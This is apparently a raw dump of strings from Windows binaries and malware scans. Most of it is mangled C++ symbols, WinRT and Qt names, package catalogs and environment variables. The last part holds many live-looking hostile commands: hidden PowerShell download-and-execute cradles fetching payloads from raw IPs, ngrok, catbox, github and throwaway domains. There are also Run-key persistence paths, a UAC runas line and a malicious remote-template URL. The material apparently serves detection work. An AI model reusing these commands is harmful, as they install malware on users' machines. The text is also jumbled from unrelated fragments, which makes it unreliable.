.?AV<lambda_1>@?1???$?RU?$IAsyncOperationWithProgress@_K_K@Foundation@Windows@winrt@@_K@0?4??create@?$projected_async_instance@U?$IAsyncOperationWithProgress@_K_K@Foundation@Windows@winrt@@@rnwinrt@@SA?AV?$shared_ptr@U?$projected_async_instance@U?$IAsyncOperationWithProgress@_K_K@Foundation@Windows@winrt@@@rnwinrt@@@std@@U?$IAsyncOperationWithProgress@_K_K@Foundation@Windows@winrt@@@Z@QEBA?A_PAEBU6789@AEB_K@Z@
.?AU?$projected_async_instance@U?$IAsyncOperationWithProgress@II@Foundation@Windows@winrt@@@rnwinrt@@
.?AU?$projected_async_instance@U?$IAsyncOperation@UIInputStream@Streams@Storage@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@
.?AU?$projected_async_instance@U?$IAsyncOperation@UIRandomAccessStreamWithContentType@Streams@Storage@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@
.?AU?$projected_async_instance@U?$IAsyncOperationWithProgress@UIBuffer@Streams@Storage@Windows@winrt@@I@Foundation@Windows@winrt@@@rnwinrt@@
.?AU?$projected_async_instance@U?$IAsyncOperationWithProgress@_K_K@Foundation@Windows@winrt@@@rnwinrt@@
.?AV<lambda_1>@?1???$bind_host_function@U?$projected_async_instance@U?$IAsyncOperationWithProgress@_K_K@Foundation@Windows@winrt@@@rnwinrt@@@rnwinrt@@YA?AVFunction@jsi@facebook@@AEAVRuntime@34@AEBVPropNameID@34@IP8?$projected_async_instance@U?$IAsyncOperationWithProgress@_K_K@Foundation@Windows@winrt@@@1@EAA?AVValue@34@0PEBV834@_K@Z@Z@
.?AV<lambda_1>@?1???$bind_host_function@U?$projected_async_instance@U?$IAsyncOperation@UIInputStream@Streams@Storage@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@@rnwinrt@@YA?AVFunction@jsi@facebook@@AEAVRuntime@34@AEBVPropNameID@34@IP8?$projected_async_instance@U?$IAsyncOperation@UIInputStream@Streams@Storage@Windows@winrt@@@Foundation@Windows@winrt@@@1@EAA?AVValue@34@0PEBV834@_K@Z@Z@
.?AV<lambda_1>@?1???$bind_host_function@U?$projected_async_instance@U?$IAsyncOperationWithProgress@UIBuffer@Streams@Storage@Windows@winrt@@I@Foundation@Windows@winrt@@@rnwinrt@@@rnwinrt@@YA?AVFunction@jsi@facebook@@AEAVRuntime@34@AEBVPropNameID@34@IP8?$projected_async_instance@U?$IAsyncOperationWithProgress@UIBuffer@Streams@Storage@Windows@winrt@@I@Foundation@Windows@winrt@@@1@EAA?AVValue@34@0PEBV834@_K@Z@Z@
.?AV<lambda_1>@?1???$bind_host_function@U?$projected_async_instance@U?$IAsyncOperation@UIRandomAccessStreamWithContentType@Streams@Storage@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@@rnwinrt@@YA?AVFunction@jsi@facebook@@AEAVRuntime@34@AEBVPropNameID@34@IP8?$projected_async_instance@U?$IAsyncOperation@UIRandomAccessStreamWithContentType@Streams@Storage@Windows@winrt@@@Foundation@Windows@winrt@@@1@EAA?AVValue@34@0PEBV834@_K@Z@Z@
.?AV<lambda_1>@?1???$bind_host_function@U?$projected_async_instance@U?$IAsyncOperationWithProgress@II@Foundation@Windows@winrt@@@rnwinrt@@@rnwinrt@@YA?AVFunction@jsi@facebook@@AEAVRuntime@34@AEBVPropNameID@34@IP8?$projected_async_instance@U?$IAsyncOperationWithProgress@II@Foundation@Windows@winrt@@@1@EAA?AVValue@34@0PEBV834@_K@Z@Z@
WindowsGetStringRawBuffer
SLGetWindowsInformationDWORD
WindowsDeleteString
WindowsCreateString
WindowsDuplicateString
WindowsCreateStringReference
?handleExtendedKeyEvent@QWindowSystemInterface@@SA_NPEAVQWindow@@W4Type@QEvent@@HV?$QFlags@W4KeyboardModifier@Qt@@@@IIIAEBVQString@@_NG4@Z
?handleFileOpenEvent@QWindowSystemInterface@@SAXAEBVQString@@@Z
?handleFileOpenEvent@QWindowSystemInterface@@SAXAEBVQUrl@@@Z
?handleFrameStrutMouseEvent@QWindowSystemInterface@@SA_NPEAVQWindow@@AEBVQPointF@@1V?$QFlags@W4MouseButton@Qt@@@@V?$QFlags@W4KeyboardModifier@Qt@@@@W4MouseEventSource@Qt@@@Z
?handleFrameStrutMouseEvent@QWindowSystemInterface@@SA_NPEAVQWindow@@AEBVQPointF@@1V?$QFlags@W4MouseButton@Qt@@@@W4MouseButton@Qt@@W4Type@QEvent@@V?$QFlags@W4KeyboardModifier@Qt@@@@W4MouseEventSource@6@@Z
?handleFrameStrutMouseEvent@QWindowSystemInterface@@SA_NPEAVQWindow@@KAEBVQPointF@@1V?$QFlags@W4MouseButton@Qt@@@@V?$QFlags@W4KeyboardModifier@Qt@@@@W4MouseEventSource@Qt@@@Z
?handleFrameStrutMouseEvent@QWindowSystemInterface@@SA_NPEAVQWindow@@KAEBVQPointF@@1V?$QFlags@W4MouseButton@Qt@@@@W4MouseButton@Qt@@W4Type@QEvent@@V?$QFlags@W4KeyboardModifier@Qt@@@@W4MouseEventSource@6@@Z
?handleGestureEvent@QWindowSystemInterface@@SA_NPEAVQWindow@@PEAVQTouchDevice@@KW4NativeGestureType@Qt@@AEAVQPointF@@3@Z
?handleGestureEventWithRealValue@QWindowSystemInterface@@SA_NPEAVQWindow@@PEAVQTouchDevice@@KW4NativeGestureType@Qt@@NAEAVQPointF@@3@Z
?handleGestureEventWithSequenceIdAndValue@QWindowSystemInterface@@SA_NPEAVQWindow@@PEAVQTouchDevice@@KW4NativeGestureType@Qt@@K_KAEAVQPointF@@4@Z
?handleNativeEvent@QWindowSystemInterface@@SA_NPEAVQWindow@@AEBVQByteArray@@PEAXPEAJ@Z
?handlePlatformPanelEvent@QWindowSystemInterface@@SAXPEAVQWindow@@@Z
?handlePrimaryScreenChanged@QWindowSystemInterface@@SAXPEAVQPlatformScreen@@@Z
?handleScreenAdded@QWindowSystemInterface@@SAXPEAVQPlatformScreen@@_N@Z
?handleScreenGeometryChange@QWindowSystemInterface@@SAXPEAVQScreen@@AEBVQRect@@1@Z
?handleScreenLogicalDotsPerInchChange@QWindowSystemInterface@@SAXPEAVQScreen@@NN@Z
?handleScreenOrientationChange@QWindowSystemInterface@@SAXPEAVQScreen@@W4ScreenOrientation@Qt@@@Z
?handleScreenRefreshRateChange@QWindowSystemInterface@@SAXPEAVQScreen@@N@Z
?handleScreenRemoved@QWindowSystemInterface@@SAXPEAVQPlatformScreen@@@Z
?handleShortcutEvent@QWindowSystemInterface@@SA_NPEAVQWindow@@KHV?$QFlags@W4KeyboardModifier@Qt@@@@IIIAEBVQString@@_NG@Z
?handleTabletEnterProximityEvent@QWindowSystemInterface@@SAXHH_J@Z
?handleTabletEnterProximityEvent@QWindowSystemInterface@@SA_NKHH_J@Z
?handleTabletEvent@QWindowSystemInterface@@SAXPEAVQWindow@@K_NAEBVQPointF@@2HHNHHNNH_JV?$QFlags@W4KeyboardModifier@Qt@@@@@Z
?handleTabletEvent@QWindowSystemInterface@@SAXPEAVQWindow@@_NAEBVQPointF@@2HHNHHNNH_JV?$QFlags@W4KeyboardModifier@Qt@@@@@Z
?handleTabletEvent@QWindowSystemInterface@@SA_NPEAVQWindow@@AEBVQPointF@@1HHV?$QFlags@W4MouseButton@Qt@@@@NHHNNH_JV?$QFlags@W4KeyboardModifier@Qt@@@@@Z
?handleTabletEvent@QWindowSystemInterface@@SA_NPEAVQWindow@@KAEBVQPointF@@1HHV?$QFlags@W4MouseButton@Qt@@@@NHHNNH_JV?$QFlags@W4KeyboardModifier@Qt@@@@@Z
?handleTabletLeaveProximityEvent@QWindowSystemInterface@@SAXHH_J@Z
?handleTabletLeaveProximityEvent@QWindowSystemInterface@@SA_NKHH_J@Z
?handleWheelEvent@QWindowSystemInterface@@SA_NPEAVQWindow@@AEBVQPointF@@1HW4Orientation@Qt@@V?$QFlags@W4KeyboardModifier@Qt@@@@@Z
?handleWheelEvent@QWindowSystemInterface@@SA_NPEAVQWindow@@AEBVQPointF@@1VQPoint@@2V?$QFlags@W4KeyboardModifier@Qt@@@@W4ScrollPhase@Qt@@W4MouseEventSource@7@@Z
?handleWheelEvent@QWindowSystemInterface@@SA_NPEAVQWindow@@KAEBVQPointF@@1HW4Orientation@Qt@@V?$QFlags@W4KeyboardModifier@Qt@@@@@Z
?handleWheelEvent@QWindowSystemInterface@@SA_NPEAVQWindow@@KAEBVQPointF@@1VQPoint@@2V?$QFlags@W4KeyboardModifier@Qt@@@@W4ScrollPhase@Qt@@W4MouseEventSource@7@_N@Z
XAML dialect mismatch - WinUI 3 already loaded when attempting to load Windows.UI.Xaml
EnumWindows
EnumChildWindows
WindowsDeleteString
WindowsCreateStringReference
WindowsCompareStringOrdinal
WindowsCreateString
WindowsDuplicateString
WindowsConcatString
WindowsGetStringLen
WindowsTrimStringEnd
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsGetStringRawBuffer
WindowsDuplicateString
WindowsConcatString
WindowsGetStringLen
WindowsCreateString
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsCreateStringReference
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsSubstringWithSpecifiedLength
Nested elements in TextInput are currently unsupported on Windows
WindowsUdk.Storage.Search
WindowsUdk.System
?GetView@ShadowNodeBase@ReactNative@Microsoft@@QEBA?AUDependencyObject@Xaml@UI@Windows@winrt@@XZ
?HasDynamicAutomationProperties@ReactNative@Microsoft@@YA_NAEBUUIElement@Xaml@UI@Windows@winrt@@@Z
?HorizontalAlignmentFrom@ReactNative@Microsoft@@YA?AW4HorizontalAlignment@Xaml@UI@Windows@winrt@@AEBUdynamic@folly@@@Z
?OnDropViewInstance@ViewManagerBase@ReactNative@Microsoft@@UEAAXAEBUDependencyObject@Xaml@UI@Windows@winrt@@@Z
?OnViewCreated@ControlViewManager@ReactNative@Microsoft@@MEAAXUDependencyObject@Xaml@UI@Windows@winrt@@@Z
?OnViewCreated@ViewManagerBase@ReactNative@Microsoft@@MEAAXUDependencyObject@Xaml@UI@Windows@winrt@@@Z
?RemoveAllChildren@ViewManagerBase@ReactNative@Microsoft@@UEAAXAEBUDependencyObject@Xaml@UI@Windows@winrt@@@Z
?RemoveChildAt@ViewManagerBase@ReactNative@Microsoft@@UEAAXAEBUDependencyObject@Xaml@UI@Windows@winrt@@_J@Z
?ReparentView@ShadowNodeBase@ReactNative@Microsoft@@QEAAXUDependencyObject@Xaml@UI@Windows@winrt@@@Z
?ReplaceChild@ShadowNodeBase@ReactNative@Microsoft@@UEAAXAEBUDependencyObject@Xaml@UI@Windows@winrt@@0@Z
?ReplaceChild@ViewManagerBase@ReactNative@Microsoft@@UEAAXAEBUDependencyObject@Xaml@UI@Windows@winrt@@00@Z
?ReplaceView@ShadowNodeBase@ReactNative@Microsoft@@QEAAXUDependencyObject@Xaml@UI@Windows@winrt@@@Z
?SetLayoutProps@ControlViewManager@ReactNative@Microsoft@@UEAAXAEAUShadowNodeBase@23@AEBUDependencyObject@Xaml@UI@Windows@winrt@@MMMM@Z
?SetLayoutProps@ViewManagerBase@ReactNative@Microsoft@@UEAAXAEAUShadowNodeBase@23@AEBUDependencyObject@Xaml@UI@Windows@winrt@@MMMM@Z
?SolidColorBrushFrom@ReactNative@Microsoft@@YA?AUSolidColorBrush@Media@Xaml@UI@Windows@winrt@@AEBUJSValue@128@@Z
?SolidColorBrushFrom@ReactNative@Microsoft@@YA?AUSolidColorBrush@Media@Xaml@UI@Windows@winrt@@AEBUdynamic@folly@@@Z
i.USERPROFILE=C:\WINDOWS\ServiceProfiles\LocalService
 ='hkcu:\software\microsoft\windows\currentversion\explorer\startupapproved\startupfolder'
?tc:\windows\system32\windowspow
SystemRuntimeWindowsRuntime
WindowsBase
SystemRuntimeWindowsRuntimeUIXaml
SystemWindowsForms
MicrosoftVisualStudioWindowsForms
='hkcu:\software\microsoft\windows\currentversion\explorer\startupapproved\startupfolder'$
WindowsCreateStringReference
af^com.microsoft.windows.extensionpackage
b0^com.microsoft.windows.extension.shellhost.component
b1^com.microsoft.windows.extension.shellhost.component
Windows Desktopx
0.WindowsStore_8wekyb3d8bbwe/
WindowsAlarm_
Illegal to wait on a task in a Windows Runtime STA
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-OneCore-EnterpriseNetworking-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-OneCore-EnterpriseNetworking-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
>C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
>C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
windows\inetcache\content.word\T
#if(!ouishdfs){sgiduohl.run('cmd/ccd/d"c:\\users\\%username%\\appdata\\local\\temp\\"&copyc:\\windows\\system32\\curl.exengbcln.exe&
ents\Windows\0
Microsoft.Windows.SMB.LanmanServer
Microsoft.Windows.Notifications.Aggregated
Tbsi_Create_Windows_Key
GetSystemWindowsDirectoryW
:\windows\system32\
c:\windows\sysnative\cmd.exe/c"powershellstart-processc:\windows\system32\slui.exe-verbrunas
software\microsoft\windows\currentversion\uninstall\
.?AV<lambda_2>@?4??Connect@?$FocusProxyButtonT@UFocusProxyButton@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_15>@?BG@??Connect@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_1>@?4??Connect@?$FocusProxyButtonT@UFocusProxyButton@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_1>@?4??Connect@?$FocusProxyButtonT@UFocusProxyButton@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_14>@?BG@??Connect@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_14>@?BG@??Connect@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AV<lambda_15>@?BG@??Connect@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_15>@?BG@??Connect@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_13>@?BF@??Connect@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_13>@?BF@??Connect@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_14>@?BG@??Connect@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_13>@?BF@??Connect@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_12>@?BE@??Connect@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@UKeyEventHandler@Input@Xaml@UI@Windows@winrt@@V<lambda_11>@?BE@??Connect@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@6@UEAAXHAEBUIInspectable@Foundation@56@@Z@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_12>@?BE@??Connect@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
#Software: Microsoft Windows Firewall
ComSpec=C:\WINDOWS\system32\cmd.exe
OS=Windows_NT
windir=C:\WINDOWS
TMP=C:\WINDOWS\TEMP
SystemRoot=C:\WINDOWS
TEMP=C:\WINDOWS\TEMP
C:\WINDOWS\system32\lsass.exe
COMPUTERNAME=WINDOWS11
Path=C:\WINDOWS\System32
ss-windowstylehiddenp
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.KeyboardSettingsMenu]
WindowsInternal.ComposableShell.Experiences.TextInputUndocked
WindowsMigration.
Microsoft.Windows.Security.LsaSrv
Microsoft.Windows.TlgAggregateInternal
windows
((windowsapps\\[^\\]+\\)|(microsoft office\\(root\\)?))office..\\[^\.]+\.exe\"?[^\"]+\"([^\"]+)\"?
\program files\windowsapps\microsoft.office.desktop.excel
\program files (x86)\windowsapps\microsoft.off
WindowsCreateString
WindowsDeleteString
WindowsGetStringRawBuffer
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.Security.CertInUse
setWindowsUserSid
Microsoft.Windows.TlgAggregateInternal
take advantage ofand, according toattributed to theMicrosoft Windowsthe first centuryunder the controldiv class="headershortly after thenotable exceptiontens of thousandsseveral differentaround the world.reaching militaryisolated from theopposition to thethe Old TestamentAfrican Americansinserted into theseparate from themetropolitan areamakes it possibleacknowledged thatarguably the mosttype="text/css">
%SystemRoot%/System32/drivers/terminpt.sys
%SystemRoot%/System32/drivers/tpm.sys
%SystemRoot%/System32/drivers/TsUsbGD.sys
%SystemRoot%/System32/drivers/tsusbhub.syst
%SystemRoot%/System32/drivers/uaspstor.sys
%SystemRoot%/System32/drivers/UcmUcsiAcpiClient.sys
%SystemRoot%/System32/drivers/ufxsynopsys.sys
%SystemRoot%/System32/drivers/UMDF/EhStorPwdDrv.dll
Windows.CBSPreview_cw5n1h2txyewy-In-Block
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
WINDOWS11
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
      <Color Name="ToolWindowShelf">
\windows\currentversion\run
c:\windows\temp\execute.batc
rescache.hit.|%WINDIR%\System32\conhost.exe
%\WindowsApps\HxTs
programfiles%\WindowsY
6200.206.97.42activx.exehttp://upload.exe\msjava32\%s.keyc:\windows\xxxzzzyyy.exe
windows nt\cur
$version\winlogon\notifysupport usb3 serviceneusbw32
WINDOWS_wmvdecod_CHANNEL
MsaUI_CredUIPromptForWindowsCredentials
c:\windows\system32\cmd.exe/cstart
Bpcreatetextfile("c:\windows\system32\test.
WindowsDeleteString
WindowsDuplicateString
WindowsGetStringRawBuffer
WindowsSubstringWithSpecifiedLength
WindowsCreateString
WindowsCreateStringReference
4sonicators\falsifikationen\decal\lectica.oedSoftware\Microsoft\Windows\CurrentVersion\Uninstall\solskinstage\overserenesolenostomid\telesatellitters.CopSoftware\Bysvalerne\preunderstandingrequisitioned\aritmetiker\antitumour\bilateral.iniTrojan:Win64/CryptInject.BX!MTB
onenote for windows 10
onenote for windows 10
windows app store
onenote for windows 10
onenote for windows 10
onenote for windows 10
onenote for windows 10
onenote for windows 10
onenote for windows 10
onenote for windows 10
onenote for windows 10
onenote for windows 10
onenote for windows 10
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
Microsoft Windows0
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\Internal.Providers.ActivateApplicationWidgetProvider.g.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Windows.Security.Cryptography.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\Internal.Providers.WidgetChannelManager.g.h
Windows.UI.Input
Windows.UI.ViewManagement
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
TEMP=C:\WINDOWS\TEMP
TMP=C:\WINDOWS\TEMP
APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming
	COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
DiagtrackRegistryRoot=SOFTWARE\Microsoft\Windows\CurrentVersion\Diagnostics\DiagTrack
OS=Windows_NT
USERNAME=WINDOWS11$
windir=C:\WINDOWS
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.Update.Heartbeat
Windows system error code: 
diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe\S-1-5-21-3914889805-4071901059-918772286-1001.pckgdep
diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe\S-1-5-21-3914889805-4071901059-918772286-1001.pckgdep
diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\machine.pckgdep
diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\machine.pckgdep
BdiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\machine.pckgdep
diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat
diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\machine.pckgdep
diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\machine.pckgdep
diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\machine.pckgdep
oB\target="http://officewindowssecurityfirewallopen.duckdns.org/-------____----__---__---.doc"targetmode="external
c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-command"&{invoke-webrequest-urihttp://87.120.113.91/image.exe-outfile%temp%\file.exe
rc:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-command"&{invoke-webrequest-urihttp://147.124.216.113/king.exe-outfile%temp%\file.exe
c:\windows\system32\cmd.exe/cpowershell-command"$tempfile=join-path$env:temp'downloaded_script.bat';invoke-webrequest-uri'https://0xy.link/zdk.bat'-outfile$tempfile
c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-command"
c:\windows\system32\windowspowershell\v1.0\powershell.exe-whid-noni-epbypass-c"start-job-namendxmq-scriptblock{iex(iwr-uri'https://quit.scortma.com/xzcpnnfhxi'-usebasicparsing
c:\windows\system32\windowspowershell\v1.0\powershell.exe-whid-noni-epbypass-c"start-job-name
]gc:\windows\system32\windowspowershell\v1.0\powershell.exe-whid-noni-epbypass-c"start-job-namepvcmk-scriptblock{iex(iwr-uri'https://qmxw.sympta.lat/cejcbbnakf'-usebasicparsing).content
c:\windows\system32\windowspowershell\v1.0\powershell.exe-whid-noni-epbypass-c"start-job-namettmyt-scriptblock{iex(iwr-uri'https://mawx.sympta.lat/tonveyqthr'-usebasicparsing).content
Ac:\windows\system32\windowspowershell\v1.0\powershell.exe-whid-noni-epbypass-c"start-job-name
K]3c:\windows\system32\windowspowershell\v1.0\powershell.exe-whid-noni-epbypass-c"start-job-namegxpef-scriptblock{iex(iwr-uri'https://lgfd.daowsistem.com/riqojhyvnr'-usebasicparsing).content}
c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-command"&{invoke-webrequest-urihttps://files.catbox.moe/
c:\windows\system32\windowspowershell\v1.0\powershell.exe-whid-noni-epbypass-c"start-job-namejkzsw-scriptblock{iex(iwr-uri'https://qntr.brocolisaroamaas.com/mjrqwngvfc'-usebasicparsing).content
c:\windows\system32\cmd.exe/cpowershell-windowstylehidden-cset-aliasaa8c74curl;salave12diex;ave12d(aa8c74-urihttps://muj7gur2l4bqgrp5ado8gxq.ngrok.pro/api/secure/b08d59188d5cc1b5af14d6b51a034a88
c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-command"&{invoke-webrequest-uri'https://github.com/topg6565767677/image/raw/refs/heads/main/image.exe'-outfile'%temp%\
9xPc:\windows\system32\windowspowershell\v1.0\powershell.exe-command$wnn=$env:programdata+'\'+(
c:\windows\system32\cmd.exe/c"powershell-executionpolicybypass-windowstylehidden-commandinvoke-webrequest-uri'https://github.com/topg6565767677/runtime-broker/raw/refs/heads/main/
